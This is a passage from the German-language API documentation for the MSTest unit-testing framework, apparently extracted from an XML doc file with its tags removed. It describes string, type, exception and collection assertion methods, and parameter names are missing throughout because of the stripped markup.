oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Löst eine AssertFailedException aus. - - - Always thrown. - - - - - Löst eine AssertFailedException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Always thrown. - - - - - Löst eine AssertFailedException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Always thrown. - - - - - Statische equals-Überladungen werden zum Vergleichen von Instanzen zweier Typen für - Verweisgleichheit verwendet. Diese Methode sollte nicht zum Vergleichen von zwei Instanzen auf - Gleichheit verwendet werden. Dieses Objekt löst immer einen Assert.Fail aus. Verwenden Sie - Assert.AreEqual und zugehörige Überladungen in Ihren Komponententests. - - Objekt A - Objekt B - Immer FALSE. - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Testet, ob der von Delegat angegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und AssertFailedException auslöst, wenn der Code keine Ausnahme auslöst oder einen anderen Typ als auslöst. - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Testet, ob der von Delegat angegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und AssertFailedException auslöst, wenn der Code keine Ausnahme auslöst oder einen anderen Typ als auslöst. - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Ersetzt Nullzeichen ("\0") durch "\\0". - - - Die Zeichenfolge, nach der gesucht werden soll. - - - Die konvertierte Zeichenfolge, in der Nullzeichen durch "\\0" ersetzt wurden. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Eine Hilfsfunktion, die eine AssertionFailedException erstellt und auslöst. - - - Der Name der Assertion, die eine Ausnahme auslöst. - - - Eine Meldung, die Bedingungen für den Assertionfehler beschreibt. - - - Die Parameter. - - - - - Überprüft den Parameter auf gültige Bedingungen. - - - Der Parameter. - - - Der Name der Assertion. - - - Parametername - - - Meldung für die ungültige Parameterausnahme. - - - Die Parameter. - - - - - Konvertiert ein Objekt sicher in eine Zeichenfolge und verarbeitet dabei NULL-Werte und Nullzeichen. - NULL-Werte werden in "(null)" konvertiert. Nullzeichen werden in "\\0" konvertiert". - - - Das Objekt, das in eine Zeichenfolge konvertiert werden soll. - - - Die konvertierte Zeichenfolge. - - - - - Die Zeichenfolgenassertion. - - - - - Ruft die Singleton-Instanz der CollectionAssert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - beginnt nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - beginnt nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - endet nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - endet nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - keine Übereinstimmung vorliegt. . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - keine Übereinstimmung vorliegt. . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Thrown if matches . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - Übereinstimmungen . Die Meldung wird in den Testergebnissen - angezeigt. - - - Thrown if matches . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - Übereinstimmungen . Die Meldung wird in den Testergebnissen - angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if matches . - - - - - Eine Sammlung von Hilfsklassen zum Testen verschiedener Bedingungen, die - Sammlungen in Komponententests zugeordnet sind. Wenn die getestete Bedingung nicht - erfüllt wird, wird eine Ausnahme ausgelöst. - - - - - Ruft die Singleton-Instanz der CollectionAssert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Thrown if is found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist in . Die Meldung wird in den Testergebnissen - angezeigt. - - - Thrown if is found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist in . Die Meldung wird in den Testergebnissen - angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält ein Nullelement. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält ein Nullelement. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält mindestens ein Elementduplikat. Die Meldung wird in - den Testergebnissen angezeigt. - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält mindestens ein Elementduplikat. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Thrown if an element in is not found in - . - - - - - Testet, ob eine Sammlung eine Untermenge einer anderen Sammlung ist, und - löst eine Ausnahme aus, wenn ein beliebiges Element in der Untermenge nicht auch in der - Obermenge enthalten ist. - - - Die Sammlung, von der erwartet wird, dass sie eine Untermenge ist von . - - - Die Sammlung, von der erwartet wird, dass sie eine Obermenge ist von - - - Die in die Ausnahme einzuschließende Meldung, wenn ein 